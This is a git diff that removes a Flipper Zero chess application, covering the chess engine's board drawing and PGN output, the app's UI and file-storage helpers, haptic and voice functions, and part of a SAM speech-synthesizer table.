uint8_t blackDown) { - uint8_t row = 0; - uint8_t col = 0; - uint8_t x = 0; - uint8_t y = 0; - uint16_t n = 0; - uint8_t s = 0; - - uint8_t pictureLine = 0; - uint8_t loadLine = 1; - - while(row < 8) { - if(loadLine) { - s = blackDown ? (row * 8 + (7 - col)) : ((7 - row) * 8 + col); - - char piece = board[s]; - - if(piece == '.') - pictureLine = (y == 4) ? 0xef : 0xff; - else { - uint8_t offset = SCL_pieceIsWhite(piece) ? 6 : 0; - piece = SCL_pieceToColor(piece, 1); - - switch(piece) { - case 'R': - offset += 1; - break; - case 'N': - offset += 2; - break; - case 'B': - offset += 3; - break; - case 'K': - offset += 4; - break; - case 'Q': - offset += 5; - break; - default: - break; - } - - pictureLine = SCL_images[y * SCL_IMAGE_COUNT + offset]; - } - - if(SCL_squareSetContains(highlightSquares, s)) pictureLine &= (y % 2) ? 0xaa : 0x55; - - if(s == selectedSquare) pictureLine &= (y == 0 || y == 7) ? 0x00 : ~0x81; - - loadLine = 0; - } - - putPixel(pictureLine & 0x80, n); - pictureLine <<= 1; - - n++; - x++; - - if(x == 8) { - col++; - loadLine = 1; - x = 0; - } - - if(col == 8) { - y++; - col = 0; - x = 0; - } - - if(y == 8) { - row++; - y = 0; - } - } -} - -uint32_t SCL_boardHash32(const SCL_Board board) { - uint32_t result = (board[SCL_BOARD_PLY_BYTE] & 0x01) + - (((uint32_t)((uint8_t)board[SCL_BOARD_ENPASSANT_CASTLE_BYTE])) << 24) + - board[SCL_BOARD_MOVE_COUNT_BYTE]; - - const char* b = board; - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i, ++b) { - switch(*b) { -#define C(p, n) \ - case p: \ - result ^= (i + 1) * n; \ - break; - // the below number are primes - C('P', 4003) - C('R', 84673) - C('N', 93911) - C('B', 999331) - C('Q', 909091) - C('K', 2796203) - C('p', 4793) - C('r', 19391) - C('n', 391939) - C('b', 108301) - C('q', 174763) - C('k', 2474431) -#undef C - default: - break; - } - } - - // for extra spread of values we swap the low/high parts: - result = (result >> 16) | (result << 16); - - return result; -} - -void SCL_boardDisableCastling(SCL_Board board) { - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= 0x0f; -} - -uint8_t SCL_boardMoveResetsCount(SCL_Board board, uint8_t squareFrom, uint8_t squareTo) { - return board[squareFrom] == 'P' || board[squareFrom] == 'p' || board[squareTo] != '.'; -} - -void SCL_printPGN(SCL_Record r, SCL_PutCharFunction putCharFunc, SCL_Board initialState) { - if(SCL_recordLength(r) == 0) return; - - uint16_t pos = 0; - - SCL_Board board; - - if(initialState != 0) - for(uint8_t i = 0; i < SCL_BOARD_STATE_SIZE; ++i) board[i] = initialState[i]; - else - SCL_boardInit(board); - - while(1) { - uint8_t s0, s1; - char p; - - uint8_t state = SCL_recordGetMove(r, pos, &s0, &s1, &p); - - pos++; - - if(pos % 2) { - uint8_t move = pos / 2 + 1; - - if(move / 100 != 0) putCharFunc('0' + move / 100); - - if(move / 10 != 0 || move / 100 != 0) putCharFunc('0' + (move % 100) / 10); - - putCharFunc('0' + move % 10); - - putCharFunc('.'); - putCharFunc(' '); - } - -#if !SCL_960_CASTLING - if((board[s0] == 'K' && s0 == 4 && (s1 == 2 || s1 == 6)) || - (board[s0] == 'k' && s0 == 60 && (s1 == 62 || s1 == 58))) -#else - if((board[s0] == 'K' && board[s1] == 'R') || (board[s0] == 'k' && board[s1] == 'r')) -#endif - { - putCharFunc('O'); - putCharFunc('-'); - putCharFunc('O'); - -#if !SCL_960_CASTLING - if(s1 == 58 || s1 == 2) -#else - if((s1 == (board[SCL_BOARD_EXTRA_BYTE] & 0x07)) || - (s1 == 56 + (board[SCL_BOARD_EXTRA_BYTE] & 0x07))) -#endif - { - putCharFunc('-'); - putCharFunc('O'); - } - } else { - uint8_t pawn = board[s0] == 'P' || board[s0] == 'p'; - - if(!pawn) { - putCharFunc(SCL_pieceToColor(board[s0], 1)); - - // disambiguation: - - uint8_t specify = 0; - - for(int i = 0; i < SCL_BOARD_SQUARES; ++i) - if(i != s0 && board[i] == board[s0]) { - SCL_SquareSet s; - - SCL_squareSetClear(s); - - SCL_boardGetMoves(board, i, s); - - if(SCL_squareSetContains(s, s1)) specify |= (s0 % 8 != s1 % 8) ? 1 : 2; - } - - if(specify & 0x01) putCharFunc('a' + s0 % 8); - - if(specify & 0x02) putCharFunc('1' + s0 / 8); - } - - if(board[s1] != '.' || (pawn && s0 % 8 != s1 % 8 && board[s1] == '.')) // capture? - { - if(pawn) putCharFunc('a' + s0 % 8); - - putCharFunc('x'); - } - - putCharFunc('a' + s1 % 8); - putCharFunc('1' + s1 / 8); - - if(pawn && (s1 >= 56 || s1 <= 7)) // promotion? - { - putCharFunc('='); - putCharFunc(SCL_pieceToColor(p, 1)); - } - } - - SCL_boardMakeMove(board, s0, s1, p); - - uint8_t position = SCL_boardGetPosition(board); - - if(position == SCL_POSITION_CHECK) putCharFunc('+'); - - if(position == SCL_POSITION_MATE) { - putCharFunc('#'); - break; - } else if(state != SCL_RECORD_CONT) { - putCharFunc('*'); - break; - } - - putCharFunc(' '); - } -} - -void SCL_recordCopy(SCL_Record recordFrom, SCL_Record recordTo) { - for(uint16_t i = 0; i < SCL_RECORD_MAX_SIZE; ++i) recordTo[i] = recordFrom[i]; -} - -void SCL_gameInit(SCL_Game* game, const SCL_Board startState) { - game->startState = startState; - - if(startState != 0) - SCL_boardCopy(startState, game->board); - else - SCL_boardInit(game->board); - - SCL_recordInit(game->record); - - for(uint8_t i = 0; i < 14; ++i) game->prevMoves[i] = 0; - - game->state = SCL_GAME_STATE_PLAYING; - game->ply = 0; - - SCL_recordInit(game->record); -} - -uint8_t SCL_gameGetRepetiotionMove(SCL_Game* game, uint8_t* squareFrom, uint8_t* squareTo) { - if(squareFrom != 0 && squareTo != 0) { - *squareFrom = 0; - *squareTo = 0; - } - - /* pos. 1st 2nd 3rd - | | | - v v v - 01 23 45 67 89 AB CD EF - move ab cd ba dc ab cd ba dc */ - - if(game->ply >= 7 && game->prevMoves[0] == game->prevMoves[5] && - game->prevMoves[0] == game->prevMoves[8] && game->prevMoves[0] == game->prevMoves[13] && - - game->prevMoves[1] == game->prevMoves[4] && game->prevMoves[1] == game->prevMoves[9] && - game->prevMoves[1] == game->prevMoves[12] && - - game->prevMoves[2] == game->prevMoves[7] && game->prevMoves[2] == game->prevMoves[10] && - - game->prevMoves[3] == game->prevMoves[6] && game->prevMoves[3] == game->prevMoves[11]) { - if(squareFrom != 0 && squareTo != 0) { - *squareFrom = game->prevMoves[3]; - *squareTo = game->prevMoves[2]; - } - - return 1; - } - - return 0; -} - -void SCL_gameMakeMove(SCL_Game* game, uint8_t squareFrom, uint8_t squareTo, char promoteTo) { - uint8_t repetitionS0, repetitionS1; - - SCL_gameGetRepetiotionMove(game, &repetitionS0, &repetitionS1); - SCL_boardMakeMove(game->board, squareFrom, squareTo, promoteTo); - SCL_recordAdd(game->record, squareFrom, squareTo, promoteTo, SCL_RECORD_CONT); - // ^ TODO: SCL_RECORD_CONT - - game->ply++; - - for(uint8_t i = 0; i < 14 - 2; ++i) game->prevMoves[i] = game->prevMoves[i + 2]; - - game->prevMoves[12] = squareFrom; - game->prevMoves[13] = squareTo; - - if(squareFrom == repetitionS0 && squareTo == repetitionS1) - game->state = SCL_GAME_STATE_DRAW_REPETITION; - else if(game->board[SCL_BOARD_MOVE_COUNT_BYTE] >= 50) - game->state = SCL_GAME_STATE_DRAW_50; - else { - uint8_t position = SCL_boardGetPosition(game->board); - - switch(position) { - case SCL_POSITION_MATE: - game->state = SCL_boardWhitesTurn(game->board) ? SCL_GAME_STATE_BLACK_WIN : - SCL_GAME_STATE_WHITE_WIN; - break; - - case SCL_POSITION_STALEMATE: - game->state = SCL_GAME_STATE_DRAW_STALEMATE; - break; - - case SCL_POSITION_DEAD: - game->state = SCL_GAME_STATE_DRAW_DEAD; - break; - - default: - break; - } - } -} - -uint8_t SCL_gameUndoMove(SCL_Game* game) { - if(game->ply == 0) return 0; - - if((game->ply - 1) > SCL_recordLength(game->record)) return 0; // can't undo, lacking record - - SCL_Record r; - - SCL_recordCopy(game->record, r); - - uint16_t applyMoves = game->ply - 1; - - SCL_gameInit(game, game->startState); - - for(uint16_t i = 0; i < applyMoves; ++i) { - uint8_t s0, s1; - char p; - - SCL_recordGetMove(r, i, &s0, &s1, &p); - SCL_gameMakeMove(game, s0, s1, p); - } - - return 1; -} - -uint8_t SCL_boardMoveIsLegal(SCL_Board board, uint8_t squareFrom, uint8_t squareTo) { - if(squareFrom >= SCL_BOARD_SQUARES || squareTo >= SCL_BOARD_SQUARES) return 0; - - char piece = board[squareFrom]; - - if((piece == '.') || (SCL_boardWhitesTurn(board) != SCL_pieceIsWhite(piece))) return 0; - - SCL_SquareSet moves; - - SCL_boardGetMoves(board, squareFrom, moves); - - return SCL_squareSetContains(moves, squareTo); -} - -#endif // guard diff --git a/applications/external/chess/flipchess.c b/applications/external/chess/flipchess.c deleted file mode 100644 index 3a1ca8c79..000000000 --- a/applications/external/chess/flipchess.c +++ /dev/null @@ -1,179 +0,0 @@ -#include "flipchess.h" -#include "helpers/flipchess_haptic.h" - -bool flipchess_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - FlipChess* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -void flipchess_tick_event_callback(void* context) { - furi_assert(context); - FlipChess* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -//leave app if back button pressed -bool flipchess_navigation_event_callback(void* context) { - furi_assert(context); - FlipChess* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void text_input_callback(void* context) { - furi_assert(context); - FlipChess* app = context; - bool handled = false; - - // check that there is text in the input - if(strlen(app->input_text) > 0) { - if(app->input_state == FlipChessTextInputGame) { - if(app->import_game == 1) { - strncpy(app->import_game_text, app->input_text, TEXT_SIZE); - - uint8_t status = FlipChessStatusNone; - if(status == FlipChessStatusNone) { - //notification_message(app->notification, &sequence_blink_cyan_100); - flipchess_play_happy_bump(app); - } else { - //notification_message(app->notification, &sequence_blink_red_100); - flipchess_play_long_bump(app); - } - } - // reset input state - app->input_state = FlipChessTextInputDefault; - handled = true; - view_dispatcher_switch_to_view(app->view_dispatcher, FlipChessViewIdMenu); - } - } - - if(!handled) { - // reset input state - app->input_state = FlipChessTextInputDefault; - view_dispatcher_switch_to_view(app->view_dispatcher, FlipChessViewIdMenu); - } -} - -FlipChess* flipchess_app_alloc() { - FlipChess* app = malloc(sizeof(FlipChess)); - app->gui = furi_record_open(RECORD_GUI); - app->notification = furi_record_open(RECORD_NOTIFICATION); - - //Turn backlight on, believe me this makes testing your app easier - notification_message(app->notification, &sequence_display_backlight_on); - - //Scene additions - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - - app->scene_manager = scene_manager_alloc(&flipchess_scene_handlers, app); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, flipchess_navigation_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, flipchess_tick_event_callback, 100); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, flipchess_custom_event_callback); - app->submenu = submenu_alloc(); - - // Settings - app->haptic = FlipChessHapticOn; - app->white_mode = FlipChessPlayerHuman; - app->black_mode = FlipChessPlayerAI1; - - // Startscreen - app->sound = 0; - // Main menu - app->import_game = 0; - - // Text input - app->input_state = FlipChessTextInputDefault; - - view_dispatcher_add_view( - app->view_dispatcher, FlipChessViewIdMenu, submenu_get_view(app->submenu)); - app->flipchess_startscreen = flipchess_startscreen_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - FlipChessViewIdStartscreen, - flipchess_startscreen_get_view(app->flipchess_startscreen)); - app->flipchess_scene_1 = flipchess_scene_1_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - FlipChessViewIdScene1, - flipchess_scene_1_get_view(app->flipchess_scene_1)); - app->variable_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - FlipChessViewIdSettings, - variable_item_list_get_view(app->variable_item_list)); - - app->text_input = text_input_alloc(); - text_input_set_result_callback( - app->text_input, - text_input_callback, - (void*)app, - app->input_text, - TEXT_BUFFER_SIZE, - //clear default text - true); - text_input_set_header_text(app->text_input, "Input"); - view_dispatcher_add_view( - app->view_dispatcher, FlipChessViewIdTextInput, text_input_get_view(app->text_input)); - - //End Scene Additions - - return app; -} - -void flipchess_app_free(FlipChess* app) { - furi_assert(app); - - // Scene manager - scene_manager_free(app->scene_manager); - - text_input_free(app->text_input); - - // View Dispatcher - view_dispatcher_remove_view(app->view_dispatcher, FlipChessViewIdMenu); - view_dispatcher_remove_view(app->view_dispatcher, FlipChessViewIdScene1); - view_dispatcher_remove_view(app->view_dispatcher, FlipChessViewIdSettings); - view_dispatcher_remove_view(app->view_dispatcher, FlipChessViewIdTextInput); - submenu_free(app->submenu); - - view_dispatcher_free(app->view_dispatcher); - furi_record_close(RECORD_GUI); - - app->gui = NULL; - app->notification = NULL; - - //Remove whatever is left - //memzero(app, sizeof(FlipChess)); - free(app); -} - -int32_t flipchess_app(void* p) { - UNUSED(p); - FlipChess* app = flipchess_app_alloc(); - - // Disabled because causes exit on custom firmwares such as RM - /*if(!furi_hal_region_is_provisioned()) { - flipchess_app_free(app); - return 1; - }*/ - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - scene_manager_next_scene( - app->scene_manager, FlipChessSceneStartscreen); //Start with start screen - //scene_manager_next_scene(app->scene_manager, FlipChessSceneMenu); //if you want to directly start with Menu - - furi_hal_random_init(); - // furi_hal_power_suppress_charge_enter(); - - view_dispatcher_run(app->view_dispatcher); - - // furi_hal_power_suppress_charge_exit(); - flipchess_app_free(app); - - return 0; -} diff --git a/applications/external/chess/flipchess.h b/applications/external/chess/flipchess.h deleted file mode 100644 index 2e6c2f124..000000000 --- a/applications/external/chess/flipchess.h +++ /dev/null @@ -1,78 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "scenes/flipchess_scene.h" -#include "views/flipchess_startscreen.h" -#include "views/flipchess_scene_1.h" - -#define FLIPCHESS_VERSION "v1.9.0" - -#define TEXT_BUFFER_SIZE 96 -#define TEXT_SIZE (TEXT_BUFFER_SIZE - 1) - -typedef struct { - Gui* gui; - NotificationApp* notification; - ViewDispatcher* view_dispatcher; - Submenu* submenu; - SceneManager* scene_manager; - VariableItemList* variable_item_list; - TextInput* text_input; - FlipChessStartscreen* flipchess_startscreen; - FlipChessScene1* flipchess_scene_1; - // Settings options - int haptic; - int white_mode; - int black_mode; - // Startscreen options - uint8_t sound; - // Main menu options - uint8_t import_game; - // Text input - uint8_t input_state; - char import_game_text[TEXT_BUFFER_SIZE]; - char input_text[TEXT_BUFFER_SIZE]; -} FlipChess; - -typedef enum { - FlipChessViewIdStartscreen, - FlipChessViewIdMenu, - FlipChessViewIdScene1, - FlipChessViewIdSettings, - FlipChessViewIdTextInput, -} FlipChessViewId; - -typedef enum { - FlipChessHapticOff, - FlipChessHapticOn, -} FlipChessHapticState; - -typedef enum { - FlipChessPlayerHuman = 0, - FlipChessPlayerAI1 = 1, - FlipChessPlayerAI2 = 2, - FlipChessPlayerAI3 = 3, -} FlipChessPlayerMode; - -typedef enum { FlipChessTextInputDefault, FlipChessTextInputGame } FlipChessTextInputState; - -typedef enum { - FlipChessStatusNone = 0, - FlipChessStatusMovePlayer = 1, - FlipChessStatusMoveAI = 2, - FlipChessStatusMoveUndo = 3, - FlipChessStatusReturn = 10, - FlipChessStatusLoadError = 11, - FlipChessStatusSaveError = 12, -} FlipChessStatus; diff --git a/applications/external/chess/flipchess_10px.png b/applications/external/chess/flipchess_10px.png deleted file mode 100644 index c7b0779c1..000000000 Binary files a/applications/external/chess/flipchess_10px.png and /dev/null differ diff --git a/applications/external/chess/helpers/flipchess_custom_event.h b/applications/external/chess/helpers/flipchess_custom_event.h deleted file mode 100644 index 4391a2fa6..000000000 --- a/applications/external/chess/helpers/flipchess_custom_event.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -typedef enum { - FlipChessCustomEventStartscreenUp, - FlipChessCustomEventStartscreenDown, - FlipChessCustomEventStartscreenLeft, - FlipChessCustomEventStartscreenRight, - FlipChessCustomEventStartscreenOk, - FlipChessCustomEventStartscreenBack, - FlipChessCustomEventScene1Up, - FlipChessCustomEventScene1Down, - FlipChessCustomEventScene1Left, - FlipChessCustomEventScene1Right, - FlipChessCustomEventScene1Ok, - FlipChessCustomEventScene1Back, -} FlipChessCustomEvent; \ No newline at end of file diff --git a/applications/external/chess/helpers/flipchess_file.c b/applications/external/chess/helpers/flipchess_file.c deleted file mode 100644 index 0a3cf5a4f..000000000 --- a/applications/external/chess/helpers/flipchess_file.c +++ /dev/null @@ -1,153 +0,0 @@ -#include "flipchess_file.h" -#include -#include - -// #define FLIPCHESS_APP_BASE_FOLDER APP_BOARDA_PATH("flipchess") -#define FLIPCHESS_APP_BASE_FOLDER EXT_PATH("apps_data/flipchess") -#define FLIPCHESS_APP_BASE_FOLDER_PATH(path) FLIPCHESS_APP_BASE_FOLDER "/" path -#define FLIPCHESS_BOARD_FILE_NAME "board_fen.txt" -#define FLIPCHESS_BOARD_FILE_NAME_BAK "board_fen.bak" -#define FLIPCHESS_BOARD_PATH FLIPCHESS_APP_BASE_FOLDER_PATH(FLIPCHESS_BOARD_FILE_NAME) -#define FLIPCHESS_BOARD_PATH_BAK FLIPCHESS_APP_BASE_FOLDER_PATH(FLIPCHESS_BOARD_FILE_NAME_BAK) - -#define FILE_MAX_PATH_LEN 48 -#define FILE_MAX_CHARS 94 - -bool flipchess_has_file(const FlipChessFile file_type, const char* file_name, const bool remove) { - bool ret = false; - const char* path; - if(file_type == FlipChessFileBoard) { - path = FLIPCHESS_BOARD_PATH; - } else { - char path_buf[FILE_MAX_PATH_LEN] = {0}; - strcpy(path_buf, FLIPCHESS_APP_BASE_FOLDER); // 22 - strcpy(path_buf + strlen(path_buf), "/"); - strcpy(path_buf + strlen(path_buf), file_name); - path = path_buf; - } - - Storage* fs_api = furi_record_open(RECORD_STORAGE); - if(remove) { - ret = storage_simply_remove(fs_api, path); - } else { - ret = storage_file_exists(fs_api, path); - } - furi_record_close(RECORD_STORAGE); - - return ret; -} - -bool flipchess_load_file(char* contents, const FlipChessFile file_type, const char* file_name) { - bool ret = false; - const char* path; - if(file_type == FlipChessFileBoard) { - path = FLIPCHESS_BOARD_PATH; - } else { - char path_buf[FILE_MAX_PATH_LEN] = {0}; - strcpy(path_buf, FLIPCHESS_APP_BASE_FOLDER); // 22 - strcpy(path_buf + strlen(path_buf), "/"); - strcpy(path_buf + strlen(path_buf), file_name); - path = path_buf; - } - - Storage* fs_api = furi_record_open(RECORD_STORAGE); - - File* settings_file = storage_file_alloc(fs_api); - if(storage_file_open(settings_file, path, FSAM_READ, FSOM_OPEN_EXISTING)) { - char chr; - int i = 0; - while((storage_file_read(settings_file, &chr, 1) == 1) && - !storage_file_eof(settings_file)) { - if(i < FILE_MAX_CHARS) { - contents[i] = chr; - } - i++; - } - ret = true; - } else { - contents[0] = '\0'; - ret = false; - } - storage_file_close(settings_file); - storage_file_free(settings_file); - furi_record_close(RECORD_STORAGE); - - if(strlen(contents) > 0) { - Storage* fs_api = furi_record_open(RECORD_STORAGE); - FileInfo layout_file_info; - FS_Error file_check_err = storage_common_stat(fs_api, path, &layout_file_info); - furi_record_close(RECORD_STORAGE); - if(file_check_err != FSE_OK) { - contents[0] = '\0'; - ret = false; - } - // if(layout_file_info.size != 256) { - // memzero(settings, strlen(settings)); - // settings[0] = '\0'; - // } - } - - return ret; -} - -bool flipchess_save_file( - const char* settings, - const FlipChessFile file_type, - const char* file_name, - const bool append, - const bool overwrite) { - bool ret = false; - const char* path; - const char* path_bak; - if(file_type == FlipChessFileBoard) { - path = FLIPCHESS_BOARD_PATH; - path_bak = FLIPCHESS_BOARD_PATH_BAK; - } else { - char path_buf[FILE_MAX_PATH_LEN] = {0}; - strcpy(path_buf, FLIPCHESS_APP_BASE_FOLDER); // 22 - strcpy(path_buf + strlen(path_buf), "/"); - strcpy(path_buf + strlen(path_buf), file_name); - path = path_buf; - path_bak = NULL; - } - int open_mode = FSOM_OPEN_ALWAYS; - if(append) { - open_mode = FSOM_OPEN_APPEND; - } - - Storage* fs_api = furi_record_open(RECORD_STORAGE); - - // try to create the folder - storage_simply_mkdir(fs_api, FLIPCHESS_APP_BASE_FOLDER); - - if(overwrite) { - storage_simply_remove(fs_api, path); - } - - File* settings_file = storage_file_alloc(fs_api); - if(storage_file_open(settings_file, path, FSAM_WRITE, open_mode)) { - storage_file_write(settings_file, settings, strlen(settings)); - storage_file_write(settings_file, "\n", 1); - ret = true; - } - storage_file_close(settings_file); - storage_file_free(settings_file); - - if(path_bak != NULL) { - if(overwrite) { - storage_simply_remove(fs_api, path_bak); - } - - File* settings_file_bak = storage_file_alloc(fs_api); - if(storage_file_open(settings_file_bak, path_bak, FSAM_WRITE, open_mode)) { - storage_file_write(settings_file_bak, settings, strlen(settings)); - storage_file_write(settings_file_bak, "\n", 1); - } - storage_file_close(settings_file_bak); - storage_file_free(settings_file_bak); - } - - furi_record_close(RECORD_STORAGE); - - return ret; -} diff --git a/applications/external/chess/helpers/flipchess_file.h b/applications/external/chess/helpers/flipchess_file.h deleted file mode 100644 index 1550b2e2d..000000000 --- a/applications/external/chess/helpers/flipchess_file.h +++ /dev/null @@ -1,15 +0,0 @@ -#include - -typedef enum { - FlipChessFileBoard, - FlipChessFileOther, -} FlipChessFile; - -bool flipchess_has_file(const FlipChessFile file_type, const char* file_name, const bool remove); -bool flipchess_load_file(char* contents, const FlipChessFile file_type, const char* file_name); -bool flipchess_save_file( - const char* contents, - const FlipChessFile file_type, - const char* file_name, - const bool append, - const bool overwrite); \ No newline at end of file diff --git a/applications/external/chess/helpers/flipchess_haptic.c b/applications/external/chess/helpers/flipchess_haptic.c deleted file mode 100644 index b07fd73df..000000000 --- a/applications/external/chess/helpers/flipchess_haptic.c +++ /dev/null @@ -1,35 +0,0 @@ -#include "flipchess_haptic.h" -#include "../flipchess.h" - -void flipchess_play_happy_bump(void* context) { - FlipChess* app = context; - if(app->haptic != 1) { - return; - } - notification_message(app->notification, &sequence_set_vibro_on); - furi_thread_flags_wait(0, FuriFlagWaitAny, 20); - notification_message(app->notification, &sequence_reset_vibro); -} - -void flipchess_play_bad_bump(void* context) { - FlipChess* app = context; - if(app->haptic != 1) { - return; - } - notification_message(app->notification, &sequence_set_vibro_on); - furi_thread_flags_wait(0, FuriFlagWaitAny, 100); - notification_message(app->notification, &sequence_reset_vibro); -} - -void flipchess_play_long_bump(void* context) { - FlipChess* app = context; - if(app->haptic != 1) { - return; - } - for(int i = 0; i < 4; i++) { - notification_message(app->notification, &sequence_set_vibro_on); - furi_thread_flags_wait(0, FuriFlagWaitAny, 50); - notification_message(app->notification, &sequence_reset_vibro); - furi_thread_flags_wait(0, FuriFlagWaitAny, 100); - } -} diff --git a/applications/external/chess/helpers/flipchess_haptic.h b/applications/external/chess/helpers/flipchess_haptic.h deleted file mode 100644 index 19c14a3e6..000000000 --- a/applications/external/chess/helpers/flipchess_haptic.h +++ /dev/null @@ -1,7 +0,0 @@ -#include - -void flipchess_play_happy_bump(void* context); - -void flipchess_play_bad_bump(void* context); - -void flipchess_play_long_bump(void* context); diff --git a/applications/external/chess/helpers/flipchess_voice.cpp b/applications/external/chess/helpers/flipchess_voice.cpp deleted file mode 100644 index 9e0c19908..000000000 --- a/applications/external/chess/helpers/flipchess_voice.cpp +++ /dev/null @@ -1,37 +0,0 @@ -#include "flipchess_voice.h" -#include -#include -#include "../sam/stm32_sam.h" -STM32SAM voice; - -void flipchess_voice_shall_we_play() { - if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(1000)) { - voice.begin(); - voice.say("SHAAL WE PLAY AY GAME?"); - furi_hal_speaker_release(); - } -} - -void flipchess_voice_which_side() { - if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(1000)) { - voice.begin(); - voice.say("WHICH SIDE DO YOU WANT?"); - furi_hal_speaker_release(); - } -} - -void flipchess_voice_how_about_chess() { - if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(1000)) { - voice.begin(); - voice.say("HOW ABOUT A NICE GAME OF CHESS?"); - furi_hal_speaker_release(); - } -} - -void flipchess_voice_a_strange_game() { - if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(1000)) { - voice.begin(); - voice.say("A STRANGE GAME... THE ONLY WINNING MOVE IS NOT TO PLAY."); - furi_hal_speaker_release(); - } -} \ No newline at end of file diff --git a/applications/external/chess/helpers/flipchess_voice.h b/applications/external/chess/helpers/flipchess_voice.h deleted file mode 100644 index 3b1060118..000000000 --- a/applications/external/chess/helpers/flipchess_voice.h +++ /dev/null @@ -1,12 +0,0 @@ -#ifdef __cplusplus -#define EXTERNC extern "C" -#else -#define EXTERNC -#endif - -EXTERNC void flipchess_voice_shall_we_play(); -EXTERNC void flipchess_voice_which_side(); -EXTERNC void flipchess_voice_how_about_chess(); -EXTERNC void flipchess_voice_a_strange_game(); - -#undef EXTERNC diff --git a/applications/external/chess/icons/FLIPR_128x64.png b/applications/external/chess/icons/FLIPR_128x64.png deleted file mode 100644 index 48d3684a1..000000000 Binary files a/applications/external/chess/icons/FLIPR_128x64.png and /dev/null differ diff --git a/applications/external/chess/sam/stm32_sam.cpp b/applications/external/chess/sam/stm32_sam.cpp deleted file mode 100644 index 41053a5ee..000000000 --- a/applications/external/chess/sam/stm32_sam.cpp +++ /dev/null @@ -1,5703 +0,0 @@ - -#include "stm32_sam.h" -/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// - -////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// All -// -//////////////////////////////////////////////////////////////////////////////////////////// - -char input[256 + 1] = {0}; //tab39445 -//standard sam sound - -unsigned char wait1 = 7; -unsigned char wait2 = 6; - -unsigned char A, X, Y; -unsigned char mem44; -unsigned char mem47; -unsigned char mem49; -unsigned char mem39; -unsigned char mem50; -unsigned char mem51; -unsigned char mem53; -unsigned char mem56; -unsigned char mem59 = 0; - -unsigned char phonemeIndexOutput[60]; //tab47296 -unsigned char stressOutput[60]; //tab47365 -unsigned char phonemeLengthOutput[60]; //tab47416 - -// contains the soundbuffer position -int bufferpos; - -//////////////////////////////////////////////////////////////////////////////////////////// -// -// Sam Tabs -// -//////////////////////////////////////////////////////////////////////////////////////////// - -//tab40672 -const unsigned char stressInputTable[] = {'*', '1', '2', '3', '4', '5', '6', '7', '8'}; - -//tab40682 -const unsigned char signInputTable1[] = { - ' ', '.', '?', ',', '-', 'I', 'I', 'E', 'A', 'A', 'A', 'A', 'U', 'A', 'I', 'E', 'U', - 'O', 'R', 'L', 'W', 'Y', 'W', 'R', 'L', 'W', 'Y', 'M', 'N', 'N', 'D', 'Q', 'S', 'S', - 'F', 'T', '/', '/', 'Z', 'Z', 'V', 'D', 'C', '*', 'J', '*', '*', '*', 'E', 'A', 'O', - 'A', 'O', 'U', 'B', '*', '*', 'D', '*', '*', 'G', '*', '*', 'G', '*', '*', 'P', '*', - '*', 'T', '*', '*', 'K', '*', '*', 'K', '*', '*', 'U', 'U', 'U'}; - -//tab40763 -const unsigned char signInputTable2[] = { - '*', '*', '*', '*', '*', 'Y', 'H', 'H', 'E', 'A', 'H', 'O', 'H', 'X', 'X', 'R', 'X', - 'H', 'X', 'X', 'X', 'X', 'H', '*', '*', '*', '*', '*', '*', 'X', 'X', '*', '*', 'H', - '*', 'H', 'H', 'X', '*', 'H', '*', 'H', 'H', '*', '*', '*', '*', '*', 'Y', 'Y', 'Y', - 'W', 'W', 'W', '*', '*', '*', '*', '*', '*', '*', '*', '*', 'X', '*', '*', '*', '*', - '*', '*', '*', '*', '*', '*', '*', 'X', '*', '*', 'L', 'M', 'N'}; - -//loc_9F8C -const unsigned char flags[] = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xA4, 0xA4, 0xA4, 0xA4, 0xA4, 0x84, 0x84, 0xA4, - 0xA4, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x44, 0x44, 0x44, 0x44, 0x44, 0x4C, - 0x4C, 0x4C, 0x48, 0x4C, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x44, 0x44, 0x44, 0x44, - 0x48, 0x40, 0x4C, 0x44, 0x00, 0x00, 0xB4, 0xB4, 0xB4, 0x94, 0x94, 0x94, 0x4E, 0x4E, - 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4E, 0x4B, 0x4B, 0x4B, 0x4B, - 0x4B, 0x4B, 0x4B, 0x4B, 0x4B, 0x4B, 0x4B, 0x4B, 0x80, 0xC1, 0xC1 - -}; - -//??? flags overlap flags2 -//loc_9FDA -const unsigned char flags2[] = { - 0x80, 0xC1, 0xC1, 0xC1, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x10, 0x10, 0x08, 0x0C, 0x08, 0x04, 0x40, - 0x24, 0x20, 0x20, 0x24, 0x00, 0x00, 0x24, 0x20, 0x20, 0x24, 0x20, 0x20, 0x00, 0x20, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 